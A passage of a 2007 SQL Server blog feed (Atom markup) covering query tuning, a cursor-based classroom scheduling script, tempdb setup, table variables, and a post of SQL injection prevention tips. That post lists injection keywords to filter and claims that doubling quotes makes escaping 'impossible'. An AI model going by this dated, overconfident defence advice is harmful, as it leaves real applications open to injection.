/&gt;day only the latter matters.&lt;/p&gt;&lt;p&gt;The storage engine optimizes execution plans with this strategy; Solid Quality Learning's query tuning methodology revolves around the same concept. Taking a top down approach allows you to spend your time fixing the worst bottlenecks.&lt;/p&gt;&lt;p&gt;Methodology:&lt;br /&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Analyze waits at the instance level&lt;/li&gt;&lt;li&gt;Correlate waits with queues&lt;/li&gt;&lt;li&gt;Determine a course of action&lt;/li&gt;&lt;li&gt;Drill down to the database/file level&lt;/li&gt;&lt;li&gt;Drill down to the process level&lt;/li&gt;&lt;li&gt;Tune indexes and queries&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;So go:    &lt;span style="font-family: courier new;"&gt;SELECT * FROM sys.dm_os_wait_stats&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;More true/false cause I was bored:&lt;/p&gt;&lt;p&gt;Queries that never change in which query data in tables that never changes, always produces the same result. False.  Not all queries have a distinct/unique correct logical result. Sql server execution plans may change based on external factors, the execution plan may change as operations are reordered&lt;/p&gt;&lt;p&gt;Where clause are always evaluated after the join clauses. False. Where clauses are only logically evaluated after the joins however the query optimizer adjusts the physical evaluation of the query result by filtering  before the joins for increased efficiency.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-2136832869910846310?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/2136832869910846310/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=2136832869910846310' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/2136832869910846310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/2136832869910846310'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/05/improving-sql-server-performance.html' title='Improving SQL Server Performance'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-9158651149876287309</id><published>2007-05-21T19:13:00.001-04:00</published><updated>2007-05-26T23:34:21.436-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cursors'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><title type='text'>When to not not use Cursors</title><content type='html'>Cursors are usually bad to use; almost always there is a more efficient way to solve your problem using a set based solution.  However there are some cases when cursors allow you to create a solution that is exponentially easier to implement than a set based solution.  In general you should only resort to using cursors when a difficult set based solution becomes trivial when solved using cursors.&lt;br /&gt;&lt;br /&gt;A classic example is that you have 5 classrooms of various sizes, and 3 classes of various sizes, and you want to assign a class to each classroom utilizing the minimum space required.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_7NyTnt202Ww/RlIo8FNU--I/AAAAAAAAADc/iL7G_pKd63U/s1600-h/Drawing1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_7NyTnt202Ww/RlIo8FNU--I/AAAAAAAAADc/iL7G_pKd63U/s400/Drawing1.jpg" alt="" id="BLOGGER_PHOTO_ID_5067157543400569826" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;we'll simplify this problem and leave dates and times out of this issue :).  Now this problem is very difficult to solve using a set based solution (it is possible, google itzik).  However this is pretty trivial to solve using a cursor based solution, psuedo code below&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Declare 2 cursors, one of the list of classrooms (lets call it: RoomsCursor) sorted by increasing capacity (number of seats), and another cursor for the list of classes (ClassesCursor) sorted by increasing number of students.&lt;/li&gt;&lt;li&gt;Now Fetch the first (smallest since you sorted ascending) class from the RoomsCursor&lt;/li&gt;&lt;li&gt;While the fetch returned a class that needs a classroom&lt;/li&gt;&lt;ol&gt;&lt;li&gt;Fetch the smallest unused classroom from RoomsCursor.  if there is no available room, or the room is too small, continue and fetch the next smallest.  Repeat fetching new rooms until you find a room that has fit or run out of rooms&lt;/li&gt;&lt;li&gt;If you didnt run out of rooms (and the last fetch yielded a room and the number of seats in the room is smaller than the number of students in the current room:&lt;/li&gt;&lt;ol&gt;&lt;li&gt;if you found a big enough room, schedule the class&lt;/li&gt;&lt;li&gt;else, you ran out of rooms!&lt;/li&gt;&lt;li&gt;fetch another Class&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;li&gt;Return the scheduled events&lt;/li&gt;&lt;/ol&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_7NyTnt202Ww/RlInz1NU-9I/AAAAAAAAADU/wEdlRoevP9E/s1600-h/untitled.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_7NyTnt202Ww/RlInz1NU-9I/AAAAAAAAADU/wEdlRoevP9E/s400/untitled.PNG" alt="" id="BLOGGER_PHOTO_ID_5067156302155021266" border="0" /&gt;&lt;/a&gt;In this case we are scanning both the classrooms and the classes in order.  We never back up the cursor.  We schedule classes by matching classes to class rooms until we either run out of classses to find classrooms for or we run out of rooms to accomidate classes.  The only time there is an error is when no solution exists.&lt;br /&gt;&lt;br /&gt;This solution runs in O(N) time since we are simply stepping through the cursor, the worst case solution is that we look at each class or classroom once.&lt;br /&gt;&lt;br /&gt;this will set up the problem&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="font-family: courier new;"&gt;&lt;span style="font-size:78%;"&gt;USE tempdb;&lt;br /&gt;GO&lt;br /&gt;IF OBJECT_ID('dbo.Classes') IS NOT NULL&lt;br /&gt; DROP TABLE dbo.Classes;&lt;br /&gt;GO&lt;br /&gt;IF OBJECT_ID('dbo.Classrooms') IS NOT NULL&lt;br /&gt; DROP TABLE dbo.Classrooms;&lt;br /&gt;GO&lt;br /&gt;&lt;br /&gt;CREATE TABLE dbo.Classrooms&lt;br /&gt;(&lt;br /&gt; classroomid VARCHAR(10) NOT NULL PRIMARY KEY,&lt;br /&gt; classSize INT NOT NULL&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('C001', 2000);&lt;br /&gt;INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('B101', 1500);&lt;br /&gt;INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('B102', 100);&lt;br /&gt;INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('R103', 40);&lt;br /&gt;INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('R104', 40);&lt;br /&gt;INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('B201', 1000);&lt;br /&gt;INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('R202', 100);&lt;br /&gt;INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('R203', 50);&lt;br /&gt;INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('B301', 600);&lt;br /&gt;INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('R302', 55);&lt;br /&gt;INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('R303', 55);&lt;br /&gt;&lt;br /&gt;CREATE TABLE dbo.Classes&lt;br /&gt;(&lt;br /&gt; classid INT NOT NULL PRIMARY KEY,&lt;br /&gt; eventdesc VARCHAR(25) NOT NULL,&lt;br /&gt; attendees INT NOT NULL&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;INSERT INTO dbo.Classes(classid, eventdesc, attendees)&lt;br /&gt; VALUES(1, 'Mikes Adv T-SQL Seminar', 193);&lt;br /&gt;INSERT INTO dbo.Classes(classid, eventdesc, attendees)&lt;br /&gt; VALUES(2, 'CIQ .NET Pages',     51);&lt;br /&gt;INSERT INTO dbo.Classes(classid, eventdesc, attendees)&lt;br /&gt; VALUES(3, 'How to Break the DB',       232);&lt;br /&gt;INSERT INTO dbo.Classes(classid, eventdesc, attendees)&lt;br /&gt; VALUES(4, 'XAML ROCKS',       89);&lt;br /&gt;INSERT INTO dbo.Classes(classid, eventdesc, attendees)&lt;br /&gt; VALUES(5, 'CIQ Security Issues',  897);&lt;br /&gt;INSERT INTO dbo.Classes(classid, eventdesc, attendees)&lt;br /&gt; VALUES(6, 'Data Modeling 101',  46);&lt;br /&gt;GO&lt;br /&gt;&lt;br /&gt;CREATE INDEX idx_att_eid_edesc&lt;br /&gt; ON dbo.Classes(attendees, classid, eventdesc);&lt;br /&gt;CREATE INDEX idx_classSize_rid&lt;br /&gt; ON dbo.Classrooms(classSize, classroomid);&lt;br /&gt;GO&lt;/span&gt;&lt;/blockquote&gt;  Cursor Solution:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-size:78%;" &gt;&lt;blockquote&gt;DECLARE&lt;br /&gt; @classroomid AS VARCHAR(10), @classSize AS INT,&lt;br /&gt; @classid AS INT, @attendees AS INT;&lt;br /&gt;&lt;br /&gt;DECLARE @Result TABLE(classroomid  VARCHAR(10), classid INT);&lt;br /&gt;&lt;br /&gt;DECLARE CClassrooms CURSOR FAST_FORWARD FOR&lt;br /&gt; SELECT classroomid, classSize FROM dbo.Classrooms&lt;br /&gt; ORDER BY classSize, classroomid;&lt;br /&gt;DECLARE CClasses CURSOR FAST_FORWARD FOR&lt;br /&gt; SELECT classid, attendees FROM dbo.Classes&lt;br /&gt; ORDER BY attendees, classid;&lt;br /&gt;&lt;br /&gt;OPEN CClassrooms;&lt;br /&gt;OPEN CClasses;&lt;br /&gt;&lt;br /&gt;FETCH NEXT FROM CClasses INTO @classid, @attendees;&lt;br /&gt;WHILE @@FETCH_STATUS = 0&lt;br /&gt;BEGIN&lt;br /&gt; FETCH NEXT FROM CClassrooms INTO @classroomid, @classSize;&lt;br /&gt;&lt;br /&gt; WHILE @@FETCH_STATUS = 0 AND @classSize &lt; @attendees&lt;br /&gt;   FETCH NEXT FROM CClassrooms INTO @classroomid, @classSize;&lt;br /&gt;&lt;br /&gt; IF @@FETCH_STATUS = 0&lt;br /&gt;   INSERT INTO @Result(classroomid, classid) VALUES(@classroomid, @classid);&lt;br /&gt; ELSE&lt;br /&gt; BEGIN&lt;br /&gt;   RAISERROR('Not enough Classrooms for Classes.', 16, 1);&lt;br /&gt;   BREAK;&lt;br /&gt; END&lt;br /&gt;&lt;br /&gt; FETCH NEXT FROM CClasses INTO @classid, @attendees;&lt;br /&gt;END&lt;br /&gt;&lt;br /&gt;CLOSE CClassrooms;&lt;br /&gt;CLOSE CClasses;&lt;br /&gt;&lt;br /&gt;DEALLOCATE CClassrooms;&lt;br /&gt;DEALLOCATE CClasses;&lt;br /&gt;&lt;br /&gt;SELECT classroomid, classid FROM @Result;&lt;br /&gt;GO&lt;/blockquote&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-9158651149876287309?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/9158651149876287309/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=9158651149876287309' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/9158651149876287309'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/9158651149876287309'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/05/when-to-not-not-use-cursors.html' title='When to not not use Cursors'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_7NyTnt202Ww/RlIo8FNU--I/AAAAAAAAADc/iL7G_pKd63U/s72-c/Drawing1.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-4270871781061433080</id><published>2007-05-10T13:48:00.001-04:00</published><updated>2007-05-15T16:15:43.028-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='.NET'/><title type='text'>What I Learned at Devscovery</title><content type='html'>&lt;ul&gt;&lt;li&gt;We love XAML&lt;/li&gt;&lt;li&gt;We love LINQ&lt;/li&gt;&lt;li&gt;AJAX.ASP.NET sooo 2 weeks ago&lt;/li&gt;&lt;li&gt;If you aren't using silverlight, your not cutting edge&lt;/li&gt;&lt;li&gt;Jeffery Richter knows more than you do about programming&lt;/li&gt;&lt;li&gt;If your website/presentation/resume doesn't have graphics with reflections&lt;/li&gt;&lt;li&gt;then its not cool&lt;/li&gt;&lt;li&gt;Every Thing/Technology should be Asynchronous&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Jeff Procise loves microsoft technology more than you do&lt;/li&gt;&lt;li&gt;People named Jeff are smart&lt;/li&gt;&lt;li&gt;WCF makes me fall asleep...or I passed out from XML spec overload&lt;/li&gt;&lt;li&gt;Read ingo rammers blog: &lt;a href="http://blogs.thinktecture.com/"&gt;http://blogs.thinktecture.com/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Make a macro for !do&lt;/li&gt;&lt;li&gt;Outofmemory exception occurs since we can't alloate spave in the large object heap&lt;/li&gt;&lt;li&gt;!dumpheap is the most important command except if you don't use -stat since you might have just given yourself a 10m coffee break&lt;/li&gt;&lt;li&gt;!dumpheap -min 1mb...figure out why we get outofmemory&lt;/li&gt;&lt;li&gt;Memory ressurection is a 'dark corner' of the garbage collector...aka necromancey.&lt;/li&gt;&lt;li&gt;Garbage collector is magical&lt;/li&gt;&lt;li&gt;None knows what a async pinned handle is&lt;/li&gt;&lt;li&gt;!traverseheap dump to xml - read in with clr profiler&lt;/li&gt;&lt;li&gt;'don't try to outhink microsoft'&lt;/li&gt;&lt;li&gt;Studt rotor code&lt;/li&gt;&lt;li&gt;Never call GC.collect() ....it is self tuning&lt;/li&gt;&lt;li&gt;Finalization is evil, unless you want performance consultants at your office&lt;/li&gt;&lt;li&gt;There are a ton of unannounced features in orcas&lt;/li&gt;&lt;li&gt;Buy .net memory profiler&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-4270871781061433080?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/4270871781061433080/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=4270871781061433080' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/4270871781061433080'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/4270871781061433080'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/05/what-i-learned-at-devscovery.html' title='What I Learned at Devscovery'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-2753199142787858418</id><published>2007-05-09T07:20:00.001-04:00</published><updated>2007-05-11T15:03:13.170-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><title type='text'>Tips to Prevent SQL Injection</title><content type='html'>The following are examples of steps you can take to ensure some level of protection from SQL Injection however, any situation where you are generating dynamic SQL will leave you vulnerable to clever hackers. &lt;p&gt;In order to reduce the surface area for attack, do not enable functionality that isn't required such as the SQL Server Agent service or xp_cmdshell (which allows arbitrary commands to be run on the server) &lt;p&gt;Always provide minimal permissions to the executing user in order to limit their options and reduce your exposure. In SQL Server 2005, you can impersonate users, so the new credentials will even apply to code invoked dynamically at the server. This feature opens up a whole new set of security concerns. Dynamic SQL can now run under impersonated user credentials and&lt;br /&gt;not even require direct permissions from the user executing the stored procedure. &lt;p&gt;Inspect users thoroughly and used stored procedures. If characters are allowed, use pattern matching to check whether SQL injection constructs (such as single quote, two dashes, sp_, xp_, UNION etc) exist in the input. &lt;p&gt;Always limit the lengths of inputs when possible. This will help reduce the hacker's ability to damage your system. Email address fields shouldn't be thoudands of characters long. &lt;p&gt;Use stored procedures! Stored procedures encapsulate user input to the database, type checking the input as well as allowing certain permissions. &lt;p&gt;In general dynamic sql is always dangerous since the users input can end up being executed. If possible its always safer to use static code as long as attention is paid to security issues. There are several tricks you can use to avoid dynamic sql such as using functions to parse input and invoke static code. Using static code will also give you a performance edge since the current implementation of stored procedures generates a new execution plan for each input. &lt;p&gt;If you ever need to expect quotes in your input (such as text inputs for a blog or something) a safe way to prevent sql injections is to simple replace CHAR(39) with CHAR(39)+CHAR(39) this will make it impossiblefor the hacker to escape the string.  Using dynamic sql can be very powerful, however misuse and/or abuse can causeinefficient code that may open your database to attacks.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-2753199142787858418?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/2753199142787858418/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=2753199142787858418' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/2753199142787858418'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/2753199142787858418'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/05/tips-to-prevent-sql-injection.html' title='Tips to Prevent SQL Injection'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-3282923463000666551</id><published>2007-05-08T09:48:00.001-04:00</published><updated>2007-05-08T11:57:37.895-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><title type='text'>Correctly Setting Up tempdb</title><content type='html'>SQL Server stores data in tempdb for many activities that happen behind the scenes such as: spooling data for queries, sorting, row versioning, as well as holding temporary tables and table variables.  Since this data is physically materialized on disk, tempdb becomes an obvious bottleneck forcing us to make special considerations.&lt;p&gt;Any system with heavy use should have tempdb on its own disk array, seperately from where user databases are located.  Obviously you'll want to use as many spindles as possible using striping in raid 10. (raid 1 can be used for the log)&lt;/p&gt;&lt;p&gt;Everytime SQL Server is restarted, tempdb is recreated and it size reverts to the effective defines size, which defaults to 8MB.  Since this will likely be too small for most databases, it will grow at 10% per growth creating small files that will likely be fragmented within the file system.  Since processes will need to wait around for the file to grow, it is suggested that you set this to an appropriate size for your database and workload.&lt;/p&gt;&lt;p&gt;In order to determine what is an appropriate size you can observe the size of tempdb when the system is under load. You can then alter the SIZE parameter so that the effective defined size is more apropriate. Once this is set you won't have to worry about autogrowth until the tempdb gets full which ideally would only happen during irregular activity.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-3282923463000666551?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/3282923463000666551/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=3282923463000666551' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/3282923463000666551'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/3282923463000666551'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/05/correctly-setting-up-tempdb.html' title='Correctly Setting Up tempdb'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-6027914209802837608</id><published>2007-05-07T21:23:00.000-04:00</published><updated>2007-05-23T18:23:33.849-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><title type='text'>Temporary Tables, Table Variables, Table Expressions - Part 3/4</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Table Expressions&lt;/span&gt;&lt;br /&gt;In addition to physical temp tables we also have logical temporary tables which are merely virtual materialization of interim sets (opposed to physical materialization in temporary tables and table variables). Table expressions which include derived tables, common table expressions (CTEs), views and inline table-values UDFs give you this capability.  This article will discuss situations where you may or maynot want to utilize these table expressions.&lt;p&gt;In general, table expressions should be used in cases when you need the temporary objectly for simplification.  Table expressions should also be used when you only need to access the temporary data once or a limited number of times and do not need to index the interim results.  When you actually run a query with a table expression, the query optimizer actually merges the underlying query with the outer one, querying the underlying tables directly.&lt;/p&gt;&lt;p&gt;Other than simplification, there will be some cases where you'll want to table expressions in order to improve performance -in these cases the optimizer might generate a better plan for your query compared to other alternatives.&lt;/p&gt;&lt;p&gt; In terms of scope and visibility, derived tables and CTEs are available only to the current statement, while views and inline UDFs are available globally.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.evanreiser.com/2007/05/temporary-tables-table-variables-common_06.html"&gt;Temporary Tables (#Tables)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.evanreiser.com/2007/05/temporary-tables-table-variables-common.html"&gt;Table Variables (@Tables)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.evanreiser.com/2007/05/temporary-tables-table-variables-table.html"&gt;Table Expressions (CTEs)&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-6027914209802837608?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/6027914209802837608/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=6027914209802837608' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/6027914209802837608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/6027914209802837608'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/05/temporary-tables-table-variables-table.html' title='Temporary Tables, Table Variables, Table Expressions - Part 3/4'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-5919549252194860374</id><published>2007-05-06T15:11:00.001-04:00</published><updated>2007-05-23T18:23:16.179-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><title type='text'>Temporary Tables, Table Variables, Table Expressions - Part 2/4</title><content type='html'>&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Table Variables&lt;/span&gt;&lt;br /&gt;Many would agree that table variables are some of the least understood T-SQL elements.  There are manny myths asociated with their use such as table variables being purely memory-resident (not having physical representation) and that/therefore are always preferable to temporary tables.  I'd like to explain why these myths are unfounded and explain some situations where you might want to use or not use table variables.&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Limitations&lt;/span&gt;&lt;br /&gt;Unlike physical abd temporary tables there ae certain limitations placed on table variables.&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;you cannot make explicit indices on table variables, only PRIMARY KEY, and UNIQUE constraints (CREATE UNIQUE INDEX). In fact you can'tcreate non-unique indices.&lt;/li&gt;&lt;li&gt;you cannot change the structure or table definition once it is declared&lt;/li&gt;&lt;li&gt;you cannot issue SELECT INTO statement against a table variable( however you can use INSERT EXEC).&lt;/li&gt;&lt;li&gt;you cannot qualify a column name with a table variable name&lt;/li&gt;&lt;li&gt;in queries that modify table variables, parallel plans will not be used.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;tempdb&lt;/span&gt;&lt;br /&gt;Despite popular belief, table variables do have physical representation in tempdb, similar to temporary tables.  &lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Scope and Visibility&lt;/span&gt;&lt;br /&gt;The scope of table variables is very well defined, and it is the same as any other variable: the current level and within the current batch only. You cannot access a table variable within innr levels of the call stack, and not even within the other batches within the same level. The limited scope will likely be an important deciding factor when determining whether or not to use temporary tables or table variables.&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Transaction Context&lt;/span&gt;&lt;br /&gt;Unlike a temporary table, a table variable is not part of an outer transaction; rather the transaction scope is limited to the statement level in order to support statement rollback. When you modify a table variable and the statement is aborted, the paticular statement is undone.  However, if the outer transaction for tht statement is undone after the statement is finished, the changes will not be undone.  Table variables are pretty unique in this respect and we can use this property to our advantage.  Because table variables require less locking and logging there are obvious performance benefits&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Statistics&lt;/span&gt;&lt;br /&gt;The main factor in choosing wheter or not to use table variables is that the query optimizer does not create distribution statistics or maintain accurate cardinality information. Therefore queries against the table variable, will not use an efficient plan which will obviously be a big problem when you work with larger tables.  The upside to using table variables is the loss of overhead from calculating these statistics and having to deal with triggered recompilation.&lt;/p&gt;&lt;p&gt;In the next article I'll discuss table expressions, how they work and when you'll want to use these instead of temporary tables and table variables.&lt;/p&gt;&lt;a href="http://www.evanreiser.com/2007/05/temporary-tables-table-variables-common_06.html"&gt;Temporary Tables (#Tables)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.evanreiser.com/2007/05/temporary-tables-table-variables-common.html"&gt;Table Variables (@Tables)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.evanreiser.com/2007/05/temporary-tables-table-variables-table.html"&gt;Table Expressions (CTEs)&lt;/a&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-5919549252194860374?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/5919549252194860374/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=5919549252194860374' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/5919549252194860374'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/5919549252194860374'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/05/temporary-tables-table-variables-common.html' title='Temporary Tables, Table Variables, Table Expressions - Part 2/4'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-1405823616568849243</id><published>2007-05-05T16:38:00.000-04:00</published><updated>2007-05-23T18:25:24.444-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><title type='text'>Temporary Tables, Table Variables, Table Expressions - Part 1/4</title><content 